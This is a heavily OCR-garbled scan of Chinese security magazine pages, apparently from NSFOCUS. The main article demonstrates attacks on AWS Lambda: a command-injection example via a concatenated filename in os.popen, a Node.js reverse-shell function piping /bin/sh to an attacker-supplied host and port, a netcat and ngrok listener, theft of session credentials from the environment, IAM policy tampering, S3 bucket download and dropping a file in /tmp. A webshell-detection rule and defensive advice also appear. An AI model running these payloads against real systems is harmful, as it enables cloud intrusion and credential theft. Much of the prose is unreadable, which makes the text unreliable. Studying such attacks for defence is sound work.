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TERERRT. A
ERRRTARAESH
Ld # DETFEHEAOS
T, ERAR
F—ERMEE
EMAEBET. A
R kR AT
DETHEBEEAN S
SRS, EEAR
A —E R

4. MBRETHATERENELEBE

S MELE, EFBANAENEZ 29, A
RERBBMT

BHERIR R

AIERATIERE

MRBAIZEATEGLE, ATEENSHERRE, BN
E&GFPRHTARE, AX—REEE ERGE-—LERR
KUEFAEMELMRGER, EABGEBRANAIFRE A,
WMEZeMIBEEREHA. MWL FSE, BRPH
FRAE-IMFNHNER, RENGLEHERERE. REFIRAK
B “HEATAEFUR” M5 =, EEIHE EREONGIR
T, FRURRZ 2IZEFEMKMA.

EFEML, AR ATEEE (eXplainable Al, XAl) IEEFRA
NEAR—IMHNHARAH, TMNERLTWHBFTLHEE.

LR Webshell & & 4 W 9 61, A1 A LIME R #Z
BRINGFSRE, LB K “alert tcp any any ->any 80 (
sid:900001; content: “z1” ;content:” base64_decode” ;http_
client_body;flow:to_server,established; content:” POST” ;
nocase;http_method; ;msg:” Webshell Detected Apache” ;)”
AFY, ATLSEIE 2 ERER, A0 z1. eval EXBIHEEHEN
TENEERRA, #MBANTLUSEENFIR, ERBEN. €A
EARBIFRI,

e
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Prediction probabilities webshell

webshel! [N .51
normal

L3Zhci93d3cvaH...
001

2 Webshell B0 MRFRLER
EEAM, EEFAMNAART—HETFURBAISENFEYS

WEE Y, BmeiREUERFSIBIMNFENL, BREERTE
BEABEANREERN ERNEH. BRTIERHNBEXRENE
NAZ EREERFA, #ITRHERRNEH K. BRiZIEEFR,

BeBrigEnsE Y, ml—2s5 BHS.

BBHER + \ITEERE

£ EH AlSecOps FIATEMFRIM AR E AN BEIMSE
Ei, BlaAF TR 94 (User & Entity Behavior Analytics,
UEBA) , ESRRIFRHEE ML NS B R, BEERIRS,
HREGTARERTINEE, KBDRBIRR. SELRHI, B
BHReBENAMR, ERERBAZHMATEEELTR2MNA
& : 3347

Hif, BINEMATEESZERHERHARA, INEBEH

e
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HENFE, B30 Webshell B9 REFMFBEEERER, A
KBEEBEXFE, MMFAITHRBERNER,.

AL, AREZLIZENEHIER | BRSER2END
21, AFEIAIEERABLERANESL, RETEHBED
RTABRNRNSIE, mAEER.

IR AR L A

ERHWRNEERET, FEANARNEONENXREE,
BEEMAAESEFRHREREENRLRE, TRRANT
Ho MiZIBLEE, HEMNAEKMT—MNERNRIRE, B2
NELIRETZEFEREER, BNENBEERZRATERT,
TRATEE, MRFEHRE, SRELERH#ITAIRN, £
EREATERNOMNS, #ITEEFIMNME, BEEENME,

WREXE L4/L5 MEIHREEZERR, REZMENMA
MR IENAIRE, SEMIRENEL BYXRRN, UKRAIRE
BOMEIEA Y, AR T, AT B REAE B B TP I HRIRIRERE,
XEX. BIERRNRIRERE; SERRIEMNIRR. B ER. HE,
BEMAERIRERRMINEE; TETHRERREBEQNZINEE,
MEMIRFE, SFUE. HEMRRZEMOES WEFE
PRAAENESE, UBAESHIARRARSMNLERN.

#hiE

BAME, ATERNRY—EREMER2MHEIER,
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AXFHER. FIEIREZBRRRELREM IR O
7R R
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ZREBLHR

— $XFAWS LambdaByiz{TRI® &

FBERY IFTPOLERSEINE HEA

1.5

2. 5EHIR

EEBHE L —EXE (Serverless R R
REEY ANBTRENDEM, WFHAEMS, Serverless AEAR
SIHITER] BREENBIER, SR EEET S @RS X,

F R
Functions. Microsoft Azure Functions, ¥B—EHEEMN K
BITRIER, BARERE BNRHRETHIMEESR2 R
RAEXAN—KAM, EERLRDETTHR, FBEILRREN
XER ENRBTTHNHBIUTRFAN, RIRETTHESHEK
BITRFE, FIAREIEMFETEARER. tmp” BRK
AR, BEFREHRDEES, XERBERESBITENE,
BINAREERERANETREANSINT FAREME=/E, Mz
FLRBERE T HIRNNRHT SR IRE BT ARBHNREBIET
IR RTEEHTHIRGEL. X Serverless IR S L H R
TRERGE. X “tmp” BRFTEEMAENE, EEMNA
HEP, REESFHW L BRHENEBITHIFE#HTRUUTR
fess = #1TRI A,

KX RFRIERE,
FEAIUAERMIRETRBE,

— Serverless &2

NB & FaaS F &, % AWS Lambda. Google Cloud

B A3 AWS Lambda & #1724135% B,

2.1 ;EE AR

RISHEBURM A LIREE T Serverless REIEITIFRERN
shell iR, FHREZUEENT, ATFRS[|ENELTFEITRES,
BHEARENBEBZWAHITRANKE. ERSHREHF
FEINBRT, REFTUETEEHIBOAHRANEE, KM
WHUREIEHITIRAM G, kM Serverless R T, REIBTT
HEAEENEIREEN, HREIENERERREZEER, 2020
FH RSA K= E, KB Puma Security WEE X £ 5 & Eric
a9 (Defending
Serverless Infrastructure in the Cloud) [6], EF{EZE3T AWS

Johnson HZE T X FUAFEIF Serverless 5

Lambda. Google Cloud Functions. Microsoft Azure Functions

=E7 Serverless = BRI R # 1 E B 1810375 10) 53 A= #n A HA

HITTHI, WTEFR:

Serverless Function Persistence Lifetime

Comparing the malware persistence lifetime (number of minutes)
across the cloud providers:

RSAConlerence020

B 1 7% Serverless = BRMFEEHERLIT
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Serverless Function Credential Lifetime

Comparing the credential expiration time (number of minutes)
across the cloud providers:

REAConlerence 020

2 7 Serverless = AR EIABIFIEEa AR
HE 1, B 2 Fim, AWS Lambda BIRERTEEET B Ke i R &3k

AR5 11 S8 12 /)8, #8LEF Azure Functions
GCP Functions &K —L, XBMMERRT AWS Lambda £
RBTHEE EAENRYE, ARGREE.
WU EFEATEA Serverless WA E B EA 14, BAD
EARENEEBEZMRAR : W B WL BRI AWS
Lambda B1TRT#{THE ; WEE RS REETE 11 DHNH#HITRE;
MRBEIRFENRKBH TRHRINGE, ERIUSTIMRER

&, ZBNREREMAREN ; WRAEEHEEIERMNEEFMA ;
U LR, RNFTEZMREARIELEFIREESR,

2.2 Lambda o iR

Lambda B IFETENEAR [11], MRRITTLUSEIR
ZEEASR, 590 Lambda RERIBEEE A “/var/task”; Lamb-
da WK P EIERUIFIRE M5 7% ;AWS Lambda B9 &
FZRANRLREAGENRE, BEATEREFHARBHER,

e

BIYT— NI SHEFRR “/tmp” [7]);Lambda WEAB PR

sbx_userxxxx F%,

2.3 AWSCLI

AWS CLI 2B T4 —E&12 AWS REMEBBFENTE, AR
B [19], BRT7E AWS #4148 &I Lambda B %, RATBEIUFE
KRB AWS CLI 5.

2.4 AWS IAM

IAM (Identity and Access Management) Jg AWS Ik F 9 —I5
IhEE, IAM BIfE P R 25 AWS HRFRS HITERE, EFHK
I ME IR AWS BFRMA, HIREENBIRNIFENR,
BISNFATIE AWS EEBET— Lambda ®#k, BFLLRKREEIT
FREITIAR, HEATEM Lambda REIZFIH1E S3
IR, IAM BCETE AWS RIBERIMA—1 JSON X :

{

“Version”

AWS B9 S3 2%

:“2012-10-177
“Statement” :[

{

“Effect” : “Allow”

Gk

“Action” : ,

T

“Resource”

16
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}

B £ BB A AWS B9 AdministratorAccess S B8, H {2 3¢
AWS RS MZFRRIFAIFENR,. FEIRNE, REPBARR
(Resource) 17 (Action) BEEN“*” Lir LRIEBERNA R,
—BWEERB TIHREIE, EahE:E AWS CLI XY IAM # 1T,
bR, BRI ME, FI -

## BIE— 1AM P

aws iam create-user --user-name xxx

## B IAM BER A

aws iam create-login-profile --user-name xxx --password
XXX

## 79 1AM BB 83237518 Token

aws iam create-access-key --user-name xxx

## 35 1AM B ARINE Admin BP4A

aws iam add-user-to-group --user-name Xxxx --group-

name Admins

3. E A

EEIEHAE ST AWS Lambda B T EBANETRFBFE,
RBEHSH TIBREREE, TR :

e

17

BHE

1 ~ | LI

B 3 AWS Lambda E{TE IR AL

B EREEBEN T UEH R EERFRFEBITHIAE shell
PR, EEIUEX “AEER. “HIREE",
BT AWS IAM “INEARI B LLE T — R P E, FRIL shell 1RAY
REABIRERENE - S HERENZON—F, EREUEH
shell #RAVREN AT L A TS

1. WEHEEMNBARERSHADIRIRIRE shell AR

WEHRZWT

FRERSH Lambda RBRBEEERA, HlMae < ENFR;

WEEEABTIE Lambda Zhae, BEREHHRMN LA LN T
RERE, HRZZD shell (R ;

BYARHFSFEBA shell s LRERMEBITHNAFELEE,
5 1AM BITEAGSE. RRIAEIEGE ; BEAE
BE EEEEHNAHTESHENKRE ;

2. WHEBEWERMABATEILRM shell

WEHRAZWT

BHETLEMENBRERF (ZREBTRMAELRE shell)

“AWS Lambda &

&xd AWS CLI
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HEPEZE AWS Lambda FEF ;
REEBIRAMEFNBERERMIFRPMLEILEN
Lambda ¥, MMZEZ shell 1R ;
WEERIBTRIMENAIEERENEEMZA, A Lamb-
da AR5 BT LEF ENIIIMEIT DDoS Wi ;
T EIEMI B B & A E R AR5 LIRS shell 2
BR, FRATEITILHITTIIE, BAR shell IPRIRENES

4.Shell #FRIREY
41 WHEFARALZERSORIERRIRI shell 1R

HWERREDR (REZR—), BNHB—THRNEA
iR, ARERTHRE Lambda RKELILIXH AN BENE]
Bk, BHERSEFREIRMERT python B os.popen() A
%, SETHLTENRR, XB Mozilla WREMFT AR Andrew
Krug IRIEIL 7 RES THENSHRBIAD (18], AEWM TR
N

def react(message, bot):

"""React to messages sent directly to the bot."""

try:
try:

r=requests.get(url)

F=open('/tmp/' +filename, 'w')
F.write(r.text)
F.close()
except Exception as e:
print('Could not write file because {e}'.for-
mat(e=e))
try:
content = os.popen("cat /tmp/" + filename).
read()## RAFRATHHNXHEZTEZEARESEFREEN
shell 1, IR TS ENFR
except Exception as e:
print(e)
print(content)
print(os.popen("ls /tmp").read())
slack_message = "Here's the changelog you
asked for: \n {changelog}".format(changelog=content) ## X
#MRALL changelog KR BHERE
response = {

"statusCode": 200,

18
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return response
except Exception as e:
print(e)

ERARBAHEEL, KEERFY filename WABHITE R
MEERILUE R Lambda RUIETTH, fIMNKREE TSR
BT filename (b4 i@ python IFIEEINEN KA 28 A Ul 57
ERE)

>>>import os

>>> os.popen( “cat /tmp/l.py” ).read()## WEEFEEW
XHBIREN “1.py”

EXXXXXXXXXXXXXXXXXXthis

is just a

TESTXXXXXXXXXXXXXXXXXXXXXXXX\N’

).read()## WEHEBE
BRI “1.py;ls -al “LEREREHFIER

>>> o0s.popen( “cat /tmp/1.py;ls -al”
EXXXXXXXXXXXXXXXXXXxthis is just a
TESTXXXXXXXXXXXXXXXXXXXXXXXX\N
total 224
drwxr-xr-x 20 nsfocus nsfocus 4096 Nov 27 05:51 .
drwxr-xr-x 3root root 4096 Sep 16 2019..
drwxr-xr-x 2root root 4096 Nov 24 06:44.aws
lroot root 41940 Nov2412:03.bash_history

-rw-r--r-- 1 nsfocus nsfocus 220 Apr 4 2018 .bash_lo-

e

19

).read()## IEERKE

ﬁ =
BTS

>>> os.popen( “cat /tmp/1.py;env”
BWXMHRIRERN “1.py;env” LURELLFETIR

EXXXXXXXXXXXXXXXXXXthis is just a
EESEXXXXXXXXXXXXXXXXXXXXXXXX

LESSCLOSE=/usr/bin/lesspipe %s %s

LANG=en_US.UTF-8

SUDO_GID=1000

DISPLAY=localhost:10.0

USERNAME=root

>>> os.popen( “cat /tmp/l.py;id” ).read()## EERKEE
HXHZILE AN “1.py;id “CUREXEFIAR

EXXXXXXXXXXXXXXXXXXthis is just a
EESEXXXXXXXXXXXXXXXXXXXXXXXX

uid=0(root) gid=0(root) groups=0(root)\n’

M ERRBR RN NBHTURH LS ERFHERTFHRE
BT, —BElEHEZRT shell iR, BEEME
HITN—RIERRET, AFRNTSEEENKRED

REME

Lambda i p:hus

AWS CLI 1
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4.2 WikEEEMIE Lambda EREFREX shell 2R

HWEEREDR (REEBEETHNGRT), EEEET
Puma Security AW FRIME serverless-prey[5], It E LR
RAEH, UKEENAENT AELHIEA Serverless =%,
ATUBMIRE B THE shell RRMIREVIIE, EEBETE
RBIFE, TEHAUT=AES

4.2.1 &% AWS CLI

AWS CLI B v1v2 B hRZA, £E TR mac 0S IFIER v2
Mz, SREAXE[9], REHTUT:

curl “https://awscli.amazonaws.com/AWSCLIV2.pkg” -0
“AWSCLIV2.pkg”

sudo installer -pkg AWSCLIV2.pkg -target /

RETHGE, BINEERE AWS CLI MES KK Lambda
IKPHITERBE :

$ aws configure

AWS Access Key ID [None]: TAWS & P #93518] 1D

AWS Secret Access Key [None]: TAWS ik 7 #9 AWS Secret
Access Key |

Default region name [None]: TAWS [k FBIFR7EX 15

Default output format [None]: TAWS Ik P BIFRTEX 1] |

AWS K {s BEIEEIR 1AM BPRES, MNTEFR !

E 4AWS P ER

EExmERIN=HE HITHIE,
UTa<&XATIH AWS I HFrE R S3 FRERBAR, TER
AU EREEEERN

5AWS CLI 7= fl

3T AWS CLI 5 AWS R S5 is 3

4.2.2 3L panther

BAEARMEE serverless-prey TE :

git clone https://github.com/pumasecurity/serverless-

rey.git

PR E)ZBE TR AWS Lambda B (panther BR) :

& 6 AWS Lambda NodeJS IE
1A LIEE panther BETEE— NodeJSTH, F—

THRELRE NodelS TIEMKIE
npm install --arch=x64 --platform=linux --target=12.13.0

sharp

B 6 hEEEL
ZE AWS Lambda Z &, BENIAHEEXD K
FREBZK, EERHBBTZOTS

2R T node_modules &k #i &, EMBEIE
AR [10], H

if (event.queryStringParameters) {
host = event.queryStringParameters.host; // 3k BX Get
JERH host &

port = event.queryStringParameters.port; // REX Get i&

P
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KEY port B
}

if (thost || Iport) {

writeLog(2, ‘Invalid request: Missing host or port pa-

rameter.’ );
return {
statusCode: 400,

body: JSON.stringify({

message: ‘Must provide the host and port for the tar-

get TCP server as query parameters.” ,
hE
L
1

const portNum = parselnt(port, 10);

const sh=cp.spawn( ‘/bin/sh’ ,[]);

const client = new net.Socket(); // BiI— socket &%

try {
await new Promise((resolve, reject) => {
client.connect(portNum, host, () => { // i # host #
port £8a%A7 url
client.pipe(sh.stdin); // 83L& [A shell 2
sh.stdout.pipe(client); ); // B & [A shell 1

e

21

sh.stderr.pipe(client); ); // EBiL k@ shell #2/E
1;

FIUELIERBNEEENABIEILRE shel EHEREE
B9 280

BRTRIBRZREZ I, ATRINESRGINE, HARFEPE
& AWS B9 S3 72iE1@ & APl Gateway F&R, AT EETE
HRf resource.yaml # serverless.yaml 3, SEFEHN VG LR
BEFEZ AWS Lambda:

root ~/work/project/reverse_lambda/serverless-prey/
panther export AWS_PROFILE=default ## S\ AWS HEZETA
AWS CLI £/

root ~/work/project/reverse_lambda/serverless-prey/
panther export WITH_BUCKET=true ## SIS {RIFHI AWS 7%
1, Lambda 1T B &R LLIAIR

root ~/work/project/reverse_lambda/serverless-prey/
panther export BUCKET_SUFFIX=$(uuidgen | cut -b 25-36 |
awk ‘{print tolower($0)} ) true ## BIFEZRIPH AWS 2548,
Lambda 1T &R LLIAIR)

root ~/work/project/reverse_lambda/serverless-prey/
panther npx serverless deploy ## ZEN 2R

Serverless: Packaging service...

Serverless: Excluding development dependencies...

Serverless: Creating Stack...

Serverless: Checking Stack create progress...



https://github.com/pumasecurity/serverless-prey/blob/main/panther/resources.yml
https://github.com/pumasecurity/serverless-prey/blob/main/panther/serverless.yml

SECURITY

» K3

Serverless: Stack create finished...

Serverless: Uploading CloudFormation file to S3...

Serverless: Uploading artifacts...

Serverless: Uploading service panther.zip file to S3 (1.59
KB)...

Serverless: Validating template...

Serverless: Updating Stack...

Serverless: Checking Stack update progress...

Serverless: Stack update finished...

Service Information

service: panther

stage: dev

region: us-east-1

stack: panther-dev

resources: 16

api keys:

panther: 9KRZWx5yc47K3D3yuxy6m4fanDJrix6h-

50jSOvey ##API %40, EHEE, AT AP ERATEH

endpoints:

GET - https://Ibfg2wa99e.execute-api.us-east-1.ama-

zonaws.com/dev/api/Panther ##AP| 15K E&E

functions:
panther: panther-dev-panther

layers:

None
S3 Sync: Syncing directories and S3 prefixes...
S3 Sync: Synced.
Serverless: Run the “serverless” command to setup moni-
toring, troubleshooting and testing.

FNTPILIFE AWS Lambda =HlE R EEN AEF RS HBEN

AMRXE R

e — SHTYERM
vn-_—;_‘__. Lambdaid 8

7AWS Lambda R FREf B2 5%
N EEMR, FRENEREDBTMH.

4.2.3 211 kM Shell

HFEENAMIMEELERET Netcat # Ngrok, AIERE
1T Netcat {510 :

~/work/project/reverse_lambda/serverless-prey/panther
nc-14444

AT EELL AWS Lambda F R EIA#I3RIE, EEIGA iR IR
SNEEEKM, MTFR:

~/work/project/reverse_lambda/serverless-prey/panther

ngrok tcp 4444

e
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& 8 AHFFE ngrok
8 AJUE LB 12 Ngrok BR 5¥ B9 I BY B BX B0 3th 31F 79 2.tcp.

ngrok.io:11978
T—IURREENRBIBMET, RINEIHEURLME
Lambda ¥, EBIIER Netcat O, I TFEFTR :

E 9 BI KM shell 1312
ZRTITESEY shell RIREFHAVLE, XIX 30 WiEEZME

EOEFFF T, MTERFR

[ 10 iEKiEBaY

e
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FANMRZE API WKEABE B EERIA N 30 7, M
BN EHRN 30, USSR 30 WMEERL—X KA shell,
AT REIMERF, HI1ELHET AWS CLI BREBNINEIRE N
=RAME 15 98 :

root ~/work/project/reverse_lambda/serverless-prey aws
lambda update-function-configuration \

--function-name panther-dev-panther\

--timeout 900 # IR E@AYATE A 15 78

“FunctionName” : “panther-dev-panther” ,
“FunctionArn” “arn:aws:lamb-

da:us-east-1:655125143201:function:panther-dev-panther” ,

“Runtime” : “nodejs12.x” ,

“Role” : “arn:aws:iam::655125143201:role/panther-dev-
us-east-1-lambdaRole”

“Handler” : “handler.panther” ,

“CodeSize” :1585,

“Description” : “”

“Timeout” : 900, ## 175 EIRIBL b f AT LIE HB Y
KB BN 15 2%

“MemorySize” :1024,

“LastModified” : “2020-11-24T09:02:45.544+0000” ,

“CodeSha256” : “62CcxplHUJGTRRtg7zaopnUiCzVYAm-
b4l1LfBugPkL8=",

“Version” : “SLATEST” ,
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“TracingConfig” :{

”»

“Mode” : ¢

})

“Revisionld”

PassThrough

: “lab160cf-6953-464d-9bd6-
0d09cbe5fe06”

“State” : “Active”

)

“LastUpdateStatus” : “Successful”

5. WEHREN

RABHNA, BNTRIEKEEZET shell ¥
FEIT#IT-RIKE, HRATEEIN “TEER". “AWS
M” “BREE" X=FENHKEHALIRELEN, RiTBIE
BT ERIETE, IHENKEILE, TERIEABTH ‘KR
RFE7. “GEEREIET. “BANEEARD” X=HHE,.

5.1 RERBRKE

FEZET shell XRE, HENATUESE Lambda WIFIET £,
HFRERERS, £EENERTHIAS, NTEMR:

11 BTNIME T 2

HAREZELRI T IHIRE
BMHMT

SIEEXNFREE, Bk

12 iR EIER L 8

B127 L FEF
ACCESS_KEY. AWS_ACCESS_KEY_ID =N R EEMIAHREIE,
XETSERTRNBEFREEXEENER. RINEEERE
BinREIENMER RN EE YA AWS WRRENAE

| AWS_SESSION_TOKEN. AWS_SECRET_

root@microservice-master:~# aws iam list-roles

An error occurred (InvalidClientTokenld) when calling
the ListRoles operation: The security token included in the
request is invalid.

AUEEEFIHIFRBTRET token SREEEEREA, F
ERNVEIFREEBSNEMIFE

export AWS_ACCESS_KEY_ID=<ENTER KEY ID>

export AWS_SECRET_ACCESS_KEY=<ENTER SECRET
ACCESS KEY>

export AWS_SESSION_TOKEN=<ENTER SESSION TOKEN>

BREEAWS KFPHENAR, HTRERATRS, £ER
BNTEEHD, WTAR:

root@microservice-master:~# aws iam list-roles

e
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“Path” :u/s» ,

» o«

“RoleName” : “panther-dev-us-east-1-lambdaRole”,
“Roleld” : “AROAZRCEAL2QUSHRED5QI” ,
“Arn” : “arn:aws:iam::655125143201:role/panther-
dev-us-east-1-lambdaRole” ,
“CreateDate” : “2020-11-24T03:01:47+00:00” ,
“AssumeRolePolicyDocument” :{
“Version” : “2012-10-17" ,

“Statement” :[

{
“Effect” : “Allow” ,
“Principal” :{
“Service” : “lambda.amazonaws.com”
2
“Action” : “sts:AssumeRole”
1
]
|3
“Description” : 7 |

“MaxSessionDuration” :3600
L
EASERF, EERZHMNBIHRNTIEERNENHEEREKLU
RERERARNEN, TESBIT:
& & “panther-dev-us-east-1-lambdaRole” A a1 & A BRBK:

root@microservice-master:~# aws iam list-role-policies

e

25

--role-name panther-dev-us-east-1-lambdaRole
{
“PolicyNames” : [

“dev-panther-lambda”

}

(END)

AEE “panther-dev-us-east-1-lambdaRole” & H—1
%KHE “dev-panther-lambda”

WERBENABRHITES !

root@microservice-master:~# aws iam get-role-policy
--role-name panther-dev-us-east-1-lambdaRole --policy-name
dev-panther-lambda

{

“RoleName” : “panther-dev-us-east-1-lambdaRole” ,
“PolicyName” : “dev-panther-lambda” ,
“PolicyDocument” :{

“Version” : “2012-10-17" ,
“Statement” :[
{

“Action” : [

“logs:CreateLogStream” ,

“logs:CreateLogGroup”

I8

“Resource” : [

“arn:aws:logs:us-east-1:655125143201:log-

]

group:/aws/lambda/panther-dev™:
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]’

“Effect” : “Allow”

}
L ERAITBLZBEIT “dev-panther-lambda” HISER 25 ;
SRNERRBEENENRE, W TFT, Effect BZHIRY
Allow 2¥A7 Deny :
{
“Action” :[
“logs:CreateLogStream” ,
“logs:CreateLogGroup”
I,
“Resource” :[
“arn:aws:logs:us-east-1:655125143201:log-

group:/aws/lambda/panther-dev*:

]’
“Effect” : “Deny” ## B ALLOW E245 Deny

}!
WA SITHITEREEEN, H test.json AERERIRENX

%
root@microservice-master:~# aws iam put-role-policy
--role-name panther-dev-us-east-1-lambdaRole --policy-name

dev-panther-lambda --policy-document file://./test.json

LB, MIRZTEEVBIRASTERENIARAS, MLAS
ZEIETIHRNR :

panther-dev-panther

wasan

13 AE BB E
FRERAZHBENNABRBETTENR, HRERKAKE

m, HBEEXGRP, ERIHRARSES,

5.2 GIENBURERIR

WEEEIKIFNITenSIRENE] AWS IRk TRIFRE S3 771if

root@microservice-master:~# Xl aws s3 s

2020-11-16 16:35:16 calbeebucket

2020-11-16 16:36:57 calbeebucket-resized

2020-11-24 11:01:48 panther-9e575f5c6886

2020-11-24 11:00:54 panther-dev-serverlessdeployment-
bucket-1spdo3jm0znph

BERITHSR S3 FRERMFMENE RS E4HITE

root@microservice-master:~# aws s3 sync “s3://pan-
ther-9e575f5c6886” ~/panther

download: s3://panther-9e575f5c6886/assets/panther.jpg

to../../..[../[panther/assets/panther.jpg

¥

26
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AILEE S3 FHRENANBELERFIEENAMIFERET, &,
MFIAXHEEEEAMTARS

B 14 581 S3 vt AR
B—KER, ENREFHENBUERTARKRER

BREFR

TARUE, WEETURRASIGERASIENEN, BEEX.

5.3 EAEEARD

BER BATRIEFNLRBHHR, SENEFURE
LRI R EBIEITRRTS, AWS Lambda AR FI5h, REEREE
XA RI AWS Lambda TEIEITHREFRST “/tmp” BRFK
TENR, BMRATEENEFERR, ATRIE Ytmp” BRAE,
EEMT LR, MR

root ~/work/project/reverse_lambda/serverless-prey/
panther nc-lvvp 4444
Listening on any address 4444 (krb524)
Connection from 127.0.0.1:54774
echo “Malware” > malware.sh ## ENERHIZ
/bin/sh: line 1: malware.sh: Read-only file system ## B& 12
AR
SRRIAE Y

echo “Malware” > /tmp/malware.sh ## ENE&

tmp” B

.

27

ls /tmp/malware.sh ## EETEMA

/tmp/malware.sh ## S AR

echo “X50!P%@AP[4\PZX54(P")7CC)7}SEICAR-STAN-
DARD-ANTIVIRUS-TEST-FILE!SH+H*” > /tmp/malware.sh ## 5
NERFHFHEEM G

cat /tmp/malware.sh ## EETLEMA

X50!P%@AP[4\PZX54(P*)7CC)7}-STANDARD-ANTIVI-
RUS-TEST-FILE!+H* ## IEE i

FEERBRIM “tmp” BRWHEAE, WPAREEBARLL

o EEBEMALERE, SUFEEERUE LR

R shell EHEWF, ZA1IEERER shell BBMAFRE?

KEEZET shell UREBAEKEHNEBTLAR?

ATRIELL ERNEE, EEMTERE, BIESRMT:

B EGEREEIRE ) 30 7 -

root ~/work/project/reverse_lambda/serverless-prey
aws lambda update-function-configuration --function-name
CreateThumbnail --timeout 30

EZE shell KREME “/tmp” BREAMAXGHEEFEAN
BRI

root ~/work/project/reverse_lambda/serverless-prey/
panther nc-lvvp 4444

Listening on any address 4444 (krb524)

Connection from 127.0.0.1:58470

echo “Malware” _test>/tmp/malware_test.sh
cat /tmp/malware_test.sh

30 Eshelltn FERE, BRELRAshel HEF Y
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panther nc-lvvp 4444
Listening on any address 4444 (krb524)
Connection from 127.0.0.1:58760
cat /tmp/malware_test.sh
Malware_test
............ ##10 DWHEBREE

root ~/work/project/reverse_lambda/serverless-prey/

panther nc-lvvp 4444

15 shell (I EEBEXIFREFE Listening on any address 4444 (krb524)
BR1ISPHEESBEITEXHEEHEE, EBERNETHFLE

HITE 11 D EANEBEXREE malware_test.sh XEEEKT :

Connection from 127.0.0.1:58760

cat /tmp/malware_test.sh

Listening on any address 4444 (krb524) ) . .
No such file or directory ## X+ BEHE%

Connection from 127.0.0.1:58470

echo “Malware” _test>/tmp/malware_test.sh . . . . ‘
BSRRHNATLIFHMNEIL, Bk shel| FBEHARBRE

BZRIAMEEMAENAEE, FIREEEAK 1L 2HHE
ERF—RTEEBNKRE, XNTFEEFENHEERRTEB T,

cat /tmp/malware_test.sh
Malware_test

Total received bytes: 13

Total sent bytes: 69 6. MaiPEi

root ~/work/project/reverse_lambda/serverless-prey/ BEAXNE, BINTUEERGEEEREIETYEESR
panther nc-lvvp 4444 ZEMNEE (IAM) EEFBEARAIRLEN, FALLEEIANNE

Listening on any address 4444 (krb524) NLZEeWHPNEMNAT=FEEE :

Connection from 127.0.0.1:58564 PR il bR $R BR B

cat/tmp/malware_test.sh FREE N YR H KRS, 4FEHEBYHRNE, M

Malware_test FRE FEMNNIR, XEFREER TIHEIEBTENAERIR

Total received bytes: 13 HITiA0].

Total sent bytes: 25 £/ SCA (Software Composition Analysis) fRFR

root ~/work/project/reverse_lambda/serverless-prey/

7%

28
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SCA MFIEZNINE N AE F P EANFREBIUA TSI,
B DR P AR EI A B 1S B 1 X R IS KB I BV FHR TR
ENRAEFAEE, HRATEEERPNRESFEIZ2RA, &5
RiEREHEMNFEEmERERAELAREF BT USRRIET,
BrimELERM SCA P=mHE OWASP Dependency Check[12].
SonaType[13]. Snyk[14]. Bunder Audit[15], H = SonaType.
Snyk. Bunder Audit $3JAFRIE, RBHBRIEERTURIR,

ERMEE

Serverless HRT, NAREFNEHARBERE, MKNF
ENZITHRRENERRE XEReEEENENEE, EE5E
WEIEEFA AWS Lambda BT ZR, fI90 CloudWatch &
CloudTrail %, BIALEEBEESRN T UMK ERIER
REH LT, MMARKETRE,

J\/

Lambda &

184

X EEX AWS Lambda BITRIFEM KRG FE#HIT T ER
, RBRALFAR AN, RESFEARENDRS, B8

TmFEo

SEXH

[1]. serverlessDays Nashville 2020 - Attacking Serverless
Servers by Brandon Evans https://www.youtube.com/
watch?v=SV69iUrYITQ

[2]. Hacking Serverless Runtimes: Profiling AWS Lambda
Azure Functions & More

https://www.youtube.com/watch?v=GZBiz-

e

29

0t5KA&t=1722s

[3]. Attacking Serverless Servers Reverse Engineering the
AWS, Azure, and GCP Function Runtimes | SANS

https://www.youtube.com/watch?v=MM5hWTZd_nQ

[4]. Gone in 60 milliseconds: Offensive security in the
serverless age (Rich Jones)

https://www.youtube.com/watch?v=byJBR16xUnc

[5]. https://github.com/pumasecurity/serverless-prey/
tree/main/panther

[6]. Defending Serverless Infrastructure in the Cloud

https://www.youtube.com/watch?v=tIZ2PIXTHxc

[7]. https://dl.awsstatic.com/whitepapers/Overview-

AWS-Lambda-Security.pdf

[8]. https://aws.amazon.com/cn/cli/

[9]. https://docs.aws.amazon.com/cli/latest/userguide/

install-cliv2-mac.html

[10]. https://github.com/pumasecurity/serverless-prey/

blob/main/panther/handler.js

[11]. https://docs.aws.amazon.com/lambda/index.html

[12]. https://owasp.org/www-project-dependency-check/

[13]. https://www.sonatype.com/

[14]. https://snyk.io/
[15]. https://github.com/rubysec/bundler-audit

[16]. https://github.com/dagrz/aws_pwn

[17]. https://github.com/ThreatResponse/poor-webhook

[18]. https://github.com/ThreatResponse/poor-webhook/

blob/master/mention.py

[19]. https://github.com/aws/aws-cli
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FEFEServerlessE S
OpenFaaSE 145

FBER HTPOLERSEIEE HEA

1. BHEER

L/ Serverless R

TEHAEI -
{Serverless &5 — Serverless #iR)
{Serverless K&z — Serverless LX)
{Serverless K& — Serverless T2BHIF)

2.5

XA Serverless REMARIINTLER, BIRRTIVHE]
=1, BT 4R Serverless, Serverless ZENR &N K
WEBBIFHT T RALENNE,
Microsoft. Google EREAMNRZ LML FINFEERZ L HFEIRE,
PRItz oh, FABH Serverless REWER XL, BERR, A
B Serverless BE S NHFKSA Kubernetes, BRIHIHXFERS

NB T Serverless {8 AWS.

B OpenFaaS. Knative. Kubeless. Openwhisk. Fission Z,
KX EZEL OpenFaaS FEENMANR, TENHRNENRS
MEIFT TR, BRI SEE#H—FRIET Kubernetes 22
HEIXS OpenFaaS ERERVRERIF ; FEANALSI L EIRE
BEHEZE,

3.0penFaaS &%

OpenFaaS fEA—RFFRM =R 4 Kubernetes Serverless ¥
B, 1£2017 £ 1 BA#m THE— Release lrz, HERBR(EN

2

Serverless R ¥ A B K, EE—RMWE, OpenFaaS 7E KR IE
R EMET SN, MEXRFLHIBSEIREIE NET. Dockerfile,
Go. Java. NodelS. PHP. Python. Ruby %, #I & & #& 6%,
OpenFaaS NEBNERMMERAIES Bk, HPEE&HEXME.
8% Dockerfile. REEFEM yam|l XHE, XEFAERTXRE
FREAFELI,

OPENFAAS
@GilHub.mm Q‘A

MATS

GilLab
Self-hosted

GilOps/laaC
Layer

Infrastructure
Layer

Conlainer
Registry

£ rubemees
10penFaaS £ht5R1

B 1 HATT LA, OpenFaaS WEMZEMERT D N=E,
BRAFTAEMNIS :

EBHZ2#E : OpenFaaS ZBE7E Kubernetes 1, 1L Docker
T1T Serverless BR¥, RPBGFHRERGCET;

AR : #3E OpenFaaS W%, SMEBAF AISY Serverless K
### 1T CRUD FMARRIE, WEB Prometheus B XY ¥A BT
